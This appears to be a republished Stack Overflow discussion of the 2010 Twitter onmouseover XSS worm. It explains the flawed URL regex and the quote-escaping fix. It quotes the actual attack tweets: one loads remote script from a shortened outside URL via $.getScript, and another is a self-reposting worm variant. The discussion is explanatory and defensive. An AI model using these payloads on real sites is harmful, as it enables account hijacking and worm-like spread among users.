Today's XSS onmouseover exploit on twitter.com

JavascriptJquerySecurityTwitterXss

Javascript Problem Overview


Can you explain what exactly happened on Twitter today? Basically the exploit was causing people to post a tweet containing this link:

http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/</pre>

Is this technically an XSS attack or something else?

Here is how the Twitter home page looked like: http://www.flickr.com/photos/travelist/6832853140/

Javascript Solutions


Solution 1 - Javascript

The vulnerability is because URLs were not being parsed properly. For example, the following URL is posted to Twitter:

http://thisisatest.com/@"onmouseover="alert('test xss')"/

Twitter treats this as the URL. When it is parsed Twitter wraps a link around that code, so the HTML now looks like:

<a href="http://thisisatest.com/@"onmouseover="alert('test xss')"rel/" target="_blank" ="">http://thisisatest.com/@"onmouseover="alert('test xss')"/</a></span> 

You can see that by putting in the URL and the trailing slash, Twitter thinks it has a valid URL even though it contains a quote mark in it which allows it to escape (ie. terminate the href attribute, for the pedants out there) the URL attribute and include a mouse over. You can write anything to the page, including closing the link and including a script element. Also, you are not limited by the 140 character limit because you can use $.getScript().

This commit, if it were pulled, would have prevented this XSS vulnerability.

In detail, the offending regex was:

REGEXEN[:valid_url_path_chars] = /(?:
  #{REGEXEN[:wikipedia_disambiguation]}|
  @[^\/]+\/|
  [\.\,]?#{REGEXEN[:valid_general_url_path_chars]}
)/ix

The @[^\/]+\/ part allowed any character (except a forward slash) when it was prefixed by an @ sign and suffixed by a forward slash.

By changing to @#{REGEXEN[:valid_general_url_path_chars]}+\/ it now only allows valid URL characters.

Solution 2 - Javascript

Yes this is XSS, it is attacking a javascript event handler. What is cool about this XSS is that it doesn't require <> to exploit. The injected string is: size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')".

The size::999999999999px makes it very large and there for more likly that someone will mouse over it. The real problem is the onmouseover= event handler.

To prevent this in PHP you need to convert quote marks into their html entities: $var=htmlspecialchars($var,ENT_QUOTES);

This is because HTML you cannot escape quotes like sql: \'

Solution 3 - Javascript

The exploit was a classic piece of Javascript injection. Suppose you write a tweet with the following text:

"http://www.guardian.co.uk/technology is the best!"

When you view the Twitter web page, that becomes a link, like so:

<a href="http://www.guardian.co.uk/technology" class="tweet-url web" 
 rel="nofollow">http://www.guardian.co.uk/technology</a> is the best!

The exploit attacked that link-making function. The raw text of the exploit tweet would read something like this:

http://a.no/@";onmouseover=";$('textarea:first').val(this.innerHTML);
   $('.status-update-form').submit();"class="modal-overlay"/

Which Twitter didn't protect properly, probably because the @" character combination broke their [HTML] parser. That link would generate the following page source:

<a href="http://a.no/@";onmouseover=";$('textarea:first').val(this.innerHTML);
 $('.status-update-form').submit();"class="modal-overlay"/ class="tweet-url web"
      rel="nofollow">

This means that executable content (the onMouseOver="stuff" bit) has ended up in the page source code. Not knowing any better, the browser runs this code. Because it's running in the user's browser, it can do anything the user does; most variations used this power to re-post the content, which is why it spread like a virus. To encourage the user to activate the code by mousing over, they also formatted the block as black-on-black using CSS [Cascading Style Sheets, which determines the page layout]. Other versions were hacked around by users to have all sorts of other effects, such as porn site redirects, rainbow text in their tweets, and so forth. Some of them popped up dialog boxes designed to alarm the users, talking about accounts being disabled or passwords stolen (they weren't, in either case).

Twitter fixed this not by blocking the string onMouseOver (which some dim-witted blogs were calling for) but by properly sanitising the input. The " marks in these tweets are now turned into &quot; – the HTML-escaped form.

Technically this is a second-order injection attack; the attack string is inserted into the database and handled correctly, but then the attack takes place as the string is read back out instead. It's not that complex an attack at all either - rather embarrassing for Twitter that they were caught out by this.

Source: The Twitter hack: how it started and how it worked

Solution 4 - Javascript

It's an XSS exploit. As Twitter admitted in their update. You can prevent attacks like that by never allowing users to post javascript code. You should always filter it out. More information about avoiding XSS can be found here: http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

Solution 5 - Javascript

From Wikipedia: "Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications that enables malicious attackers to inject client-side script into web pages viewed by other users."

Today's attack fits the bill to me.

Basically there was some sort of parsing error with Twitter.com display code. When they converted URLs to HTML hyperlinks, they weren't handling @ characters correctly and this was causing javascript events to be inserted into the HTML link.

Attributions

All content for this solution is sourced from the original question on Stackoverflow.

The content on this page is licensed under the Attribution-ShareAlike 4.0 International (CC BY-SA 4.0) license.

Content TypeOriginal AuthorOriginal Content on Stackoverflow
QuestionibzView Question on Stackoverflow
Solution 1 - JavascriptMichael FoukarakisView Answer on Stackoverflow
Solution 2 - JavascriptrookView Answer on Stackoverflow
Solution 3 - JavascriptACPView Answer on Stackoverflow
Solution 4 - JavascriptAdamView Answer on Stackoverflow
Solution 5 - JavascriptWade TandyView Answer on Stackoverflow